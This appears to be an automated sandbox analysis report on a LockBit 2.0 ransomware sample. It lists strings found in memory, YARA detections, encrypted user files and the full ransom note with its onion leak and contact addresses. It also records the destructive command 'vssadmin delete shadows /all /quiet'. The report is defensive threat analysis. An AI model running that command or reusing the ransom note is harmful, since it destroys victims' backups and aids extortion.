Source: Restore-My-Files.txt36.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt36.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt225.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt225.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt225.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt228.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt228.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt228.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt89.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt89.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt89.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt254.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt254.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt254.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt71.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt71.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt71.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt6.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt6.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt6.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt130.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt130.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt130.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt250.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt250.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt250.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt136.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt136.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt136.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt108.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt108.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt108.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt53.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt53.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt53.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt178.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt178.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt178.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt131.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt131.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt131.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Restore-My-Files.txt42.0.dr	String found in binary or memory: The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom
Source: Restore-My-Files.txt42.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: Restore-My-Files.txt42.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion

Source: annots.api.lockbit.0.dr	String found in binary or memory: http://...............Acrobat
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://a9.com/-/spec/opensearchrss/1.0/:itemsPerPage
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://a9.com/-/spec/opensearchrss/1.0/:itemsPerPagehttp://a9.com/-/spec/opensearchrss/1.0/:startInd
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://a9.com/-/spec/opensearchrss/1.0/:startIndex
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://a9.com/-/spec/opensearchrss/1.0/:totalResults
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: Pna3t7DeL3.exe, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	String found in binary or memory: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
Source: Pna3t7DeL3.exe, 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onionhttps://bigblog.at%s.bmpimage/b
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	String found in binary or memory: http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion
Source: Pna3t7DeL3.exe, 00000000.00000002.513565220.000000000019B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.o
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	String found in binary or memory: http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://schemas.google.com/g/2005:email
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: annots.api.lockbit.0.dr, ppklite.api.lockbit.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/:root
Source: annots.api.lockbit.0.dr, ppklite.api.lockbit.0.dr	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: ui-strings.js.lockbit31.0.dr	String found in binary or memory: http://support.apple.com/zh-TW/downloads/#safari
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: http://tempuri.org/ns3.xsd
Source: ppklite.api.lockbit.0.dr	String found in binary or memory: http://www.docs.oasis-open.org/dss/oasis-dss-1.0-core-schema-cd-02.xsd
Source: annots.api.lockbit.0.dr	String found in binary or memory: http://www.yahooapis.com/v1/base.rng:uri
Source: annots.api.lockbit.0.dr	String found in binary or memory: https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/
Source: annots.api.lockbit.0.dr	String found in binary or memory: https://PrefSyncJob/com.adobe.acrobat.ADotCom/Resource/Sync/Upload/
Source: annots.api.lockbit.0.dr	String found in binary or memory: https://api.echosign.com
Source: Pna3t7DeL3.exe, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	String found in binary or memory: https://bigblog.at
Source: Pna3t7DeL3.exe, 00000000.00000002.525537655.0000000006330000.00000004.00001000.00020000.00000000.sdmp, Restore-My-Files.txt8.0.dr, Restore-My-Files.txt101.0.dr, Restore-My-Files.txt134.0.dr, Restore-My-Files.txt257.0.dr, Restore-My-Files.txt103.0.dr, Restore-My-Files.txt50.0.dr, Restore-My-Files.txt119.0.dr, Restore-My-Files.txt64.0.dr, Restore-My-Files.txt98.0.dr, Restore-My-Files.txt57.0.dr, Restore-My-Files.txt159.0.dr, Restore-My-Files.txt11.0.dr, Restore-My-Files.txt205.0.dr, Restore-My-Files.txt174.0.dr, Restore-My-Files.txt36.0.dr, Restore-My-Files.txt225.0.dr, Restore-My-Files.txt228.0.dr, Restore-My-Files.txt89.0.dr, Restore-My-Files.txt254.0.dr, Restore-My-Files.txt71.0.dr	String found in binary or memory: https://decoding.at
Source: Pna3t7DeL3.exe	String found in binary or memory: https://tox.chat/download.html
Source: Pna3t7DeL3.exe, 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Pna3t7DeL3.exe, 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, Pna3t7DeL3.exe, 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://tox.chat/download.htmlUsing
Source: ui-strings.js.lockbit31.0.dr	String found in binary or memory: https://www.google.com.tw/intl/zh-TW/chrome/browser/
Source: ui-strings.js.lockbit37.0.dr	String found in binary or memory: https://www.google.com/intl/en/chrome/browser/
Source: ui-strings.js.lockbit1.0.dr	String found in binary or memory: https://www.google.com/intl/it/chrome/browser/
Source: ui-strings.js.lockbit31.0.dr	String found in binary or memory: https://www.mozilla.org/zh-TW/firefox

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe

File created: C:\documents and settings\user\local settings\temporary internet files\low\Restore-My-Files.txt

Jump to behavior

Spam, unwanted Advertisements and Ransom Demands

Yara detected Conti ransomware

Source: Yara match

File source: Process Memory Space: Pna3t7DeL3.exe PID: 3780, type: MEMORYSTR

Yara detected LockBit ransomware

Source: Yara match	File source: 18.3.Pna3t7DeL3.exe.4940000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.4910e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.Pna3t7DeL3.exe.4940000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.4910e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.4840e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Pna3t7DeL3.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.Pna3t7DeL3.exe.49c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.3.Pna3t7DeL3.exe.49c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.48c0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Pna3t7DeL3.exe.4a10000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Pna3t7DeL3.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.48b0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.Pna3t7DeL3.exe.48c0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.Pna3t7DeL3.exe.4840e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 34.3.Pna3t7DeL3.exe.4a10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.Pna3t7DeL3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Pna3t7DeL3.exe.48b0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000003.328749444.0000000004940000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000003.369188083.0000000004A10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.372121153.0000000004910000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.306641155.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.345995509.00000000049C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.347999899.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.514046466.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.329058064.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000022.00000002.370637475.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.350329472.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.332682795.00000000048C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.259381395.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.353255484.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.350029244.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.523259180.00000000048B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 3780, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 5124, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 4492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 5068, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Pna3t7DeL3.exe PID: 3964, type: MEMORYSTR

Found ransom note / readme

Source: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pt-br\Restore-My-Files.txt

Dropped file: LockBit 2.0 RansomwareYour data are stolen and encryptedThe data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomYou can contact us and decrypt one file for free on these TOR siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionORhttps://decoding.atDecryption ID: 8E5BB08F19AA7B0A32CC92B22E043ED8

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV\LHEPQPGEWF.png	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV.docx	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV\QFAPOWPAFG.pdf	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File moved: C:\Users\user\Desktop\HMPPSXQPQV\HQJBRDYKDE.jpg	Jump to behavior
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File moved: C:\Users\user\Desktop\LIJDSFKJZG\WSHEJMDVQC.png	Jump to behavior

May disable shadow drive data (uses vssadmin)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin delete shadows /all /quiet

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pt-br\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pl-pl\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\it-it\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
Source: C:\Users\user\Desktop\Pna3t7DeL3.exe	File dropped: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\Restore-My-Files.txt -> lockbit 2.0 ransomwareyour data are stolen and encryptedthe data will be published on tor website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransomyou can contact us and decrypt one file for free on these tor siteshttp://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onionhttp://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onionorhttps://decoding.atdecryption id: 8e5bb08f19aa7b0a32cc92b22e043ed8
